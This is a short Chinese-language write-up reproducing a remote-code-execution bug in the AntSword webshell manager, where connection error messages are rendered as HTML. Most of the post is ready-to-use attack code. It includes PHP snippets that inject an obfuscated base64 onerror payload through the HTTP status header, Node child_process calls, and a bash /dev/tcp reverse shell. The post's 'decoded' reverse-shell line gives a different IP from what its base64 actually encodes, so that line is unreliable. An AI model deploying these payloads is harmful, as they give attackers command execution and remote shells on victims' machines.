蚁剑是自中国菜刀之后的一个优秀的webshell管理工具。
Github 项目中说明是使用 Nodejs + Electron 编写。
Electron 的应用在之前就被爆存在过不少安全漏洞,例如 typora 的 RCE 就是使用了 Electron 导致的
项目地址:https://github.com/AntSwordProject/antSword/
漏洞issue:https://github.com/AntSwordProject/antSword/issues/147
因为连接失败后会将错误信息作为 html 解析导致XSS产生,而在Nodejs + Electron应用中可以通过执行Nodejs代码来执行系统命令
复现
本地搭建一个php的web服务
<?php
header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKICB9KTs=`,`base64`).toString())'>");
?>
在响应头中插入XSS代码,解码后如下
require('child_process').exec('calc',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);//创建子进程来执行系统命令
});
反弹shell
<?php
header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC44OC4yMjUvODg4OCAwPiYxJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>");
?>
require('child_process').exec('bash -i >& /dev/tcp/127.0.0.1/8888 0>&1',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
新版RCE
更新后过滤不完整,可在标签中闭合。
因使用不安全的第三方库导致被绕过,利用方式基本一样
参考https://www.anquanke.com/post/id/176724
参考
https://www.freebuf.com/news/200765.html
https://github.com/AntSwordProject/antSword/issues/147
https://evoa.me/index.php/archives/48/
https://www.anquanke.com/post/id/176724